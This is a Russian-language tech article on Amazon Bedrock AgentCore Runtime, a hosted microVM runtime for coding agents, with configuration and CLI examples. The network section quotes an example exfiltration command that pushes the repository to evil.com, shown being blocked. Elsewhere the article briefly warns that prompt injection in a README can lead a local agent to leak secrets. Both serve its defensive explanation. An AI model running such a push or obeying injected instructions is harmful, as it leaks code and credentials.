Amazon Bedrock AgentCore: как перестать держать ноутбук открытым ради ИИ‑агентов для кода — VogueTech

Что нового

Amazon запустила Bedrock AgentCore Runtime — инфраструктуру для хостинга кодовых ИИ‑агентов (Claude Code, Codex, Kiro, Cursor CLI, Gemini CLI, OpenCode и собственные обвязки) не на ноутбуке разработчика, а в управляемых микровиртуальных машинах.

Ключевые новшества:

Отдельная микровиртуальная машина на каждый сеанс
- Каждый запуск агента получает собственный Firecracker‑микроVM с отдельным Linux‑ядром и файловой системой.
- Нет конфликтов по портам (localhost:5432, :3000 и т.п.), SSH‑ключам, ~/.aws/credentials и другим shared‑ресурсам.
Постоянный workspace /mnt/workspace на 14 дней (public preview managed session storage)
- Состояние проекта, node_modules, .git, кеши сборки, незавершённые рефакторинги — всё сохраняется между остановкой и возобновлением сеанса.
- МикроVM может завершиться по таймауту простоя, но файловая система привязана к ID сессии и автоматически монтируется при возобновлении.
- Хранение данных 14 дней без активности.
Пример создания runtime с persistent‑хранилищем:
```
client.create_agent_runtime(
    agentRuntimeName="acme-coding-agent",
    agentRuntimeArtifact={"containerConfiguration": {"containerUri": "..."}},
    filesystemConfigurations=[
        {"sessionStorage": {"mountPath": "/mnt/workspace"}}
    ],
    roleArn="arn:aws:iam::...:role/AgentExecutionRole",
)
```
Полноценный интерактивный shell внутри агента
- С 5 июня AgentCore Runtime поддерживает интерактивные терминалы: agentcore exec --it открывает PTY‑shell прямо в работающий микроVM.
- Работают цвета, tab‑completion, Ctrl+C, resize терминала, автоматический reconnect при обрыве сети.
- Можно открыть несколько терминалов к разным сессиям и наблюдать, как несколько агентов параллельно работают над разными ветками.
Примеры:
```
# Drop into the agent's VM
agentcore exec --it --runtime acme-coding-agent --session-id sess-jane-1234

# Reconnect to the same shell later
agentcore exec --it --session-id sess-jane-1234 --shell-id shell-789
```
Детерминированное выполнение команд без участия LLM
- Можно запускать команды (npm test, git push, pip install) напрямую в микроVM через InvokeAgentRuntimeCommand / agentcore exec, минуя модель и не расходуя токены.
- Команда видит все файлы, которые агент только что создал или изменил.
Пример однократного запуска:
```
# One-shot, non-interactive
agentcore exec --runtime acme-coding-agent --session-id sess-jane-1234 \
  "cd /mnt/workspace && npm test"
```
Подключаемые файловые системы для shared‑артефактов
- Помимо per‑session /mnt/workspace можно подключить до пяти POSIX‑монтирований: Amazon S3 Files и Amazon EFS.
- Это удобно для общих библиотек skills, кешей зависимостей, артефактов прошлых пайплайнов.
Пример конфигурации:
```
filesystemConfigurations=[
  {"sessionStorage": {"mountPath": "/mnt/workspace"}},
  {"s3FilesAccessPoint": {"accessPointArn": "...", "mountPath": "/mnt/skills"}},
  {"efsAccessPoint": {"accessPointArn": "...", "mountPath": "/mnt/cache"}},
]
```
AgentCore Gateway и Identity вместо токенов в ~/.netrc
- Все внешние инструменты (GitHub, Jira, Slack, ваши API, Lambda) подключаются один раз к Gateway как MCP‑endpoint.
- Gateway использует AgentCore Identity, AWS Secrets Manager и собственный Token Vault, чтобы хранить и выдавать токены.
- Сами секреты не попадают внутрь микроVM и не оказываются под контролем LLM.
Примеры интеграции:
```
# Claude Code
claude mcp add agentcore \
  https://<gateway-id>.gateway.bedrock-agentcore.us-west-2.amazonaws.com/mcp \
  --transport http

# Codex CLI
# ~/.codex/config.toml
[mcp_servers.agentcore]
url = "https://<gateway-id>.gateway.bedrock-agentcore.us-west-2.amazonaws.com/mcp"
```
VPC‑режим и сетевой контроль вместо надежды на дисциплину разработчика
- Агенты могут работать внутри вашего VPC: с приватными сабнетами, security groups, частными endpoint’ами.
- Через Route 53 и Network Firewall вы управляете, какие домены доступны для pip install, npm install, git push и сборок.
Наблюдаемость из коробки
- Каждый вызов попадает в AWS CloudTrail.
- Сессии шлют OpenTelemetry‑трейсы и метрики в Amazon CloudWatch и AWS X‑Ray.
- Для инструментов без нативного OTel (например, Claude Code) можно добавить ADOT‑коллектор как сайдкар.
Гибкий лайфцикл и биллинг по фактическому CPU и пику памяти
- Сессия живёт от минуты до 8 часов.
- Idle‑таймаут по умолчанию 15 минут, настраивается. После этого compute выключается, но файловые системы остаются.
- Платёж идёт по использованному CPU (I/O‑ожидание не тарифицируется отдельно) и по скользящему пику памяти.
Поддержка разных моделей и маршрутов
- Обвязка агента сама выбирает, с чем работать: Claude (через Amazon Bedrock или напрямую по API Anthropic), GPT‑класса модели от OpenAI на Amazon Bedrock, Google Gemini, Nova, Llama, Mistral, Qwen, Kimi, self‑hosted модели или ваш LLM‑gateway.
- При использовании маршрута через Amazon Bedrock промпты, токены и ответы не выходят за пределы сети AWS.
Параллельный запуск множества агентов
- Каждая сессия — отдельный микроVM. Можно одновременно:
  - Запустить один и тот же агент на десяти ветках.
  - Дать один и тот же GitHub‑issue Claude Code, Codex, Kiro и Cursor, каждый в своём окружении.
  - Сделать A/B‑тест: Claude Code на Claude Opus против Codex на GPT‑класса модели и Kiro на вашем gateway.

Цифровых бенчмарков производительности или стоимости относительно других платформ в материале нет. Фокус — на архитектуре, безопасности и удобстве для разработчика.

Как это работает

МикроVM вместо ноутбука

Основная идея простая: всё, что обычно делает ноутбук разработчика для ИИ‑агента, переносится в управляемый runtime внутри AWS.

Агенту нужны пять вещей:

Shell.
Файловая система.
Проект, выкачанный из репозитория.
Установленные зависимости.
Права доступа: к файловой системе, сети, внешним сервисам.

На ноутбуке всё это живёт в одной среде пользователя: один ~, одни SSH‑ключи, одни ~/.aws/credentials, один VPN. Если README подсунул prompt‑инъекцию, агент получает доступ ко всем этим ресурсам.

AgentCore Runtime даёт каждому сеансу собственный Firecracker‑микроVM с Linux, persistent‑директорией /mnt/workspace и конфигурацией файловых систем. Внутри — обычный shell и инструменты, которые вы положили в контейнер или zip‑пакет.

Контейнеры и артефакты

Вы можете:

Запаковать обвязку агента в Docker‑образ, отправить его в Amazon ECR и указать containerUri.
Или задеплоить Python/Node.js‑проект zip‑файлом.

В образ можно заранее положить:

языковые рантаймы,
инструменты сборки,
git,
системные пакеты,
всё, что обычно стоит на ноутбуке разработчика.

Сессии и файловые системы

При создании runtime вы настраиваете файловые системы:

sessionStorage → persistent /mnt/workspace на 14 дней без активности.
s3FilesAccessPoint → директория, которая на самом деле лежит в S3 Files.
efsAccessPoint → директория, которая монтируется из Amazon EFS.

Каждая сессия имеет ID. При первом вызове создаётся микроVM, монтируется /mnt/workspace и дополнительные файловые системы. Когда сессия простаивает дольше idleRuntimeSessionTimeout (по умолчанию 15 минут), compute выключается, но данные остаются. При следующем вызове с тем же session ID создаётся новый микроVM, который монтирует те же файловые системы за миллисекунды.

На ноутбуке для логической изоляции разных веток часто используют git worktree. AgentCore даёт физическую изоляцию: разные ядра, разные файловые системы, разные кеши сборки и node_modules. Координацию по‑прежнему можно строить через git, но без менеджмента worktree.

Shell и команды

AgentCore CLI (agentcore) подключается к сессиям двумя способами:

Интерактивный shell через PTY:
- agentcore exec --it --runtime ... --session-id ... открывает терминал внутри микроVM.
- Сессия shell получает свой shell-id.
- Потом можно переподключиться: agentcore exec --it --session-id ... --shell-id ... и вернуться в тот же shell с историей и текущей директорией.
Одноразовые команды без TTY:
- agentcore exec --runtime ... --session-id ... "команда" запускает команду и стримит stdout/stderr по HTTP/2.
- На уровне API это InvokeAgentRuntimeCommand.

Важно: эти команды могут работать параллельно с LLM‑агентом или вместо него. Если действие полностью детерминировано (запустить тесты, собрать проект, запушить ветку), нет смысла тратить токены и просить модель принять решение.

Gateway, Identity и токены

Большая проблема локальных агентов — секреты рядом с кодом. В одном окружении живут:

.env,
~/.aws/credentials,
~/.ssh/id_ed25519,
~/.npmrc с приватным registry‑токеном,
токены GitHub, Jira, Slack.

AgentCore разделяет три слоя:

Runtime — микроVM с кодом и shell.
Gateway — каталог инструментов и единая MCP‑точка входа.
Identity — система, которая знает, каким токеном подписывать вызовы к каждому инструменту.

Вы один раз регистрируете инструменты в Gateway:

GitHub (через MCP‑сервер GitHub),
Jira, Slack, Salesforce, Confluence,
свои OpenAPI‑сервисы или Lambda‑функции.

Gateway экспонирует один MCP‑endpoint с Streamable HTTP‑транспортом — его понимают Claude Code, Codex, Cursor CLI, Kiro, OpenCode.

Под капотом Identity хранит секреты в AWS Secrets Manager и короткоживущие токены в Token Vault. Сами токены не кладутся в файловую систему микроVM. Gateway добавляет их к каждому вызову инструмента в зависимости от того, кто инициировал действие.

Три основных паттерна:

Bot‑паттерн:
- Вы создаёте GitHub‑бота, выдаёте ему fine‑grained PAT с доступом только к нужным репозиториям.
- Регистрируете PAT как API‑ключ на MCP‑таргете GitHub в Gateway.
- Identity хранит PAT в Token Vault, Gateway подставляет его в каждый вызов. GitHub видит бота как актёра.
On‑behalf‑of:
- Разработчик логинится через корпоративный IdP.
- Identity выдаёт workload access token и обменивает его на GitHub‑токен через OAuth 2.0 Token Exchange (RFC 8693).
- Gateway кеширует токен и подставляет его в запросы.
- Коммиты и PR идут от имени человека, а не общего бота. Тот же подход можно использовать для Jira, Slack, Salesforce, Confluence.
Broker‑паттерн:
- Для нестандартных схем аутентификации (GitHub App installation tokens, сервисы без федерации с IdP) MCP‑таргет указывает на Lambda.
- Lambda на каждый вызов монтирует или достаёт нужный credential, проксирует запрос в GitHub или другой сервис и не возвращает секрет агенту.
- Безопасность остаётся на уровне «секрет не попадает в LLM‑окружение», но вы сохраняете контроль над логикой выдачи.

Ограничение GitHub MCP‑сервера: он не умеет git clone. Он может пушить файлы, комментировать, открывать PR, но стартовый клон репозитория всё равно делает git и ему нужен credential внутри сессии.

Решение: использовать узкий credential только для чтения содержимого нужных репозиториев (fine‑grained PAT read‑only или deploy key на один репозиторий). Хранить его в Secrets Manager за Identity‑провайдером. Runtime получает значение при старте сессии, один раз использует для git clone, а все остальные действия с GitHub идут через Gateway.

Сеть и VPC

AgentCore Runtime может работать в двух режимах сети, но интересен именно VPC‑режим:

МикроVM запускаются в ваших сабнетах.
К ним применяются ваши security groups.
S3 Files и EFS монтируются по приватному NFS в том же VPC.
Вызовы к IdP, регистри, Gateway могут идти через private endpoints.

Вы определяете, что такое «интернет» для агента:

Установка пакетов:
- Агент делает pip install pandas.
- В Route 53 приватная зона резолвит pypi.org в ваш внутренний PyPI‑mirror за VPC‑endpoint’ом.
- Либо не резолвит вообще, заставляя использовать AWS CodeArtifact.
- Агент не знает об этом. Он просто видит единственный доступный PyPI.
Git‑операции:
- Агент выполняет git push origin main.
- Security group пропускает исходящий 443 только к IP‑диапазонам GitHub Enterprise.
- Попытка git remote set-url origin https://evil.com/exfil.git && git push ломается на TCP‑уровне: пакет не выходит из подсети.
Сборки:
- Многостадийный build тянет базы образов, компиляторы, зависимости из нескольких реестров.
- NAT‑gateway с одним Elastic IP — единственный выход наружу.
- AWS Network Firewall с allowlist’ом доменов стоит перед ним.
- Build проходит ровно так же, как на ноутбуке, но только для разрешённых доменов.

Наблюдаемость и лайфцикл

Каждый вызов runtime:

логируется в AWS CloudTrail,
порождает OpenTelemetry‑трейсы и метрики, которые стекаются в CloudWatch и X‑Ray.

По умолчанию вы видите:

количество сессий,
latency,
длительность,
использование токенов,
error‑rates.

Для инструментов без встроенного OTel (например, Claude Code) можно добавить AWS Distro for OpenTelemetry (ADOT) как сайдкар в контейнер. Он собирает локальные OTLP‑трейсы и отправляет их в AgentCore Observability и AWS X‑Ray, подписывая SigV4.

Лайфцикл сессий:

Максимальная длительность микроVM — 8 часов.
Минимальная — 1 минута.
По истечении idleRuntimeSessionTimeout compute выключается.
/mnt/workspace, S3 Files и EFS остаются.
При следующем вызове с тем же session ID поднимается новый микроVM с теми же файловыми системами.

Биллинг:

по фактическому потреблению CPU (время ожидания I/O не увеличивает счёт),
по скользящему пику памяти.

Это даёт возможность запускать сотни сессий параллельно и платить только за реально использованные ресурсы.

Что это значит для вас

Для разработчиков

Если вы привыкли запускать Claude Code, Codex, Kiro, Cursor или Gemini CLI локально, AgentCore решает три типичные боли:

Безопасность и зона поражения
- Локальные агенты работают в той же среде, что и вы: один ~, один VPN, одни ключи.
- Любая prompt‑инъекция в README может заставить агента читать или отправлять ваши секреты.
- В AgentCore у агента отдельный микроVM, а доступ к GitHub/Jira/Slack идёт через Gateway и Identity.
- Токены не лежат в ~/.netrc и не попадают в контекст LLM.
Параллелизм без хака с git worktree
- На ноутбуке параллельные агенты дерутся за порты, локальные базы, SSH‑агент и кеши.
- Приходится разводить их по git worktree и надеяться, что они не затрут друг другу файлы.
- В AgentCore каждый агент и каждая сессия живут в отдельном ядре и файловой системе.
- Можно честно запустить три агента на трёх ветках и не ловить конфликтов по localhost:5432 и :3000.
Независимость от крышки ноутбука
- На локальной машине закрыли крышку — убили сессию агента.
- Забыли, что шла 90‑минутная миграция — придётся начинать заново.
- С AgentCore сессия продолжит жить в облаке, даже если ноутбук уснул или вы сменили устройство.
- Интерактивный shell можно переподключить завтра и увидеть тот же scrollback.

Практически это значит:

Можно поручать агенту долгие рефакторинги, миграции и сборки, не думая о питании ноутбука и VPN.
Можно в реальном времени смотреть, как агент работает на удалённой машине, и вмешиваться через shell.
Можно быстро сравнивать разные агенты и разные модели на одном и том же issue.

Для платформенных и security‑команд

AgentCore попадает прямо в вашу повестку:

Scope per agent: у каждого агента свой runtime, свои политики, свои токены и свой VPC‑контур.
Трафик через VPC, а не через интернет: вы контролируете, какие домены доступны агенту, какие registry он видит, куда он может пушить код.
Корпоративная идентичность: авторизация идёт через IdP и IAM, а не через .env и раздачу PAT‑ов по Slack.
Аудит и наблюдаемость: CloudTrail, CloudWatch, X‑Ray, OTel — те же инструменты, что вы уже используете.
Нет секретов на диске под контролем LLM: токены живут в Secrets Manager и Token Vault, а не в файловой системе микроVM.

Если вы строите внутреннюю платформу ИИ‑агентов для разработки, AgentCore даёт готовые кирпичи вместо самостоятельной сборки:

оркестрация контейнеров,
файловые системы,
VPC‑сеть,
identity и токены,
MCP‑gateway,
observability.

Где это полезно

Подходит для:

Команд разработки, которые уже используют Claude Code, Codex, Kiro, Cursor CLI, Gemini CLI или OpenCode и хотят убрать их с ноутбуков.
Компаний, где security‑политики запрещают хранить токены GitHub/Jira/Slack на локальных машинах.
Платформенных команд, которые строят «централизованного» кодового агента для всей организации.
Сценариев с долгими задачами: ночные миграции, крупные рефакторинги, тяжёлые сборки.
A/B‑тестирования разных агентов и моделей на одном и том же репозитории и issue.

Менее уместно:

Маленькие pet‑проекты, где вы запускаете один локальный агент раз в неделю и готовы мириться с его падением при закрытии ноутбука.
Команды, которые не используют AWS и не планируют заводить инфраструктуру в Amazon, а также не готовы жить в VPC‑модели.

Доступность и ограничения для России

AgentCore Runtime и Amazon Bedrock работают в инфраструктуре AWS. Для доступа потребуется:

учётная запись AWS,
доступ к поддерживаемым регионам (например, us-west-2),
сетевой доступ к этим регионам.

С учётом текущих ограничений многие российские компании используют AWS через зарубежные юрлица или партнёров. Прямой доступ из России может потребовать VPN и соответствовать внутренним юридическим и комплаенс‑политикам. Это нужно учитывать до того, как вы начнёте переносить код и данные в AWS.

Место на рынке

AgentCore Runtime конкурирует не с конкретной моделью вроде GPT‑4o или Claude 3.5, а с целым классом решений:

локальные агенты на ноутбуке (Claude Code, Codex, Cursor CLI, Kiro, Gemini CLI, OpenCode),
самописные «агентные» платформы на Kubernetes,
другие облачные sandboxes для ИИ‑агентов.

По сравнению с локальными агентами:

Безопасность:
- Локальный агент видит все ваши файлы, ключи, VPN и браузерные сессии.
- AgentCore изолирует агента в микроVM, а токены хранит вне его среды.
Параллелизм:
- На ноутбуке несколько агентов конфликтуют за порты и shared‑ресурсы.
- В AgentCore каждый агент — отдельный kernel и FS.
Надёжность:
- Локальный агент умирает вместе с ноутбуком или VPN.
- В AgentCore сессия живёт в облаке и переживает перезагрузку и смену устройства.

По сравнению с самописными решениями в Kubernetes:

AgentCore даёт готовую интеграцию с Amazon Bedrock, Identity, Gateway, VPC и observability.
Вам не нужно самостоятельно собирать:
- Firecracker‑пулы или аналоги,
- систему монтирования S3/EFS как POSIX,
- MCP‑gateway с токенами и OAuth‑потоками,
- OTel‑интеграцию и дашборды.

Прямых цифр сравнения по скорости или цене с другими платформами в материале нет. Позиционирование строится вокруг безопасности, управляемости и удобства для дев‑ и платформ‑команд.

Если вы уже используете Amazon Bedrock для работы с Claude, GPT‑класса моделями OpenAI, Nova, Llama, Mistral, Qwen, Kimi или своими моделями через HTTPS, AgentCore логично ложится поверх: он не навязывает конкретную модель, а даёт стандартный runtime.

Установка / Как запустить

Ниже — ключевые примеры из материала, которые пригодятся при первых шагах.

Создание runtime с persistent‑workspace

client.create_agent_runtime(
    agentRuntimeName="acme-coding-agent",
    agentRuntimeArtifact={"containerConfiguration": {"containerUri": "..."}},
    filesystemConfigurations=[
        {"sessionStorage": {"mountPath": "/mnt/workspace"}}
    ],
    roleArn="arn:aws:iam::...:role/AgentExecutionRole",
)

Подключение интерактивного shell

# Drop into the agent's VM
agentcore exec --it --runtime acme-coding-agent --session-id sess-jane-1234

# Reconnect to the same shell later
agentcore exec --it --session-id sess-jane-1234 --shell-id shell-789

Запуск команды без участия LLM

# One-shot, non-interactive
agentcore exec --runtime acme-coding-agent --session-id sess-jane-1234 \
  "cd /mnt/workspace && npm test"

Конфигурация файловых систем

filesystemConfigurations=[
  {"sessionStorage": {"mountPath": "/mnt/workspace"}},
  {"s3FilesAccessPoint": {"accessPointArn": "...", "mountPath": "/mnt/skills"}},
  {"efsAccessPoint": {"accessPointArn": "...", "mountPath": "/mnt/cache"}},
]

Подключение AgentCore Gateway как MCP‑сервера

Для Claude Code:

claude mcp add agentcore \
  https://<gateway-id>.gateway.bedrock-agentcore.us-west-2.amazonaws.com/mcp \
  --transport http

Для Codex CLI:

# ~/.codex/config.toml
[mcp_servers.agentcore]
url = "https://<gateway-id>.gateway.bedrock-agentcore.us-west-2.amazonaws.com/mcp"

Главная ценность AgentCore в том, что он превращает «агента на ноутбуке» в управляемый сервис уровня платформы: с отдельными окружениями, контролем доступа, наблюдаемостью и нормальной жизнью, не зависящей от угла открытия крышки.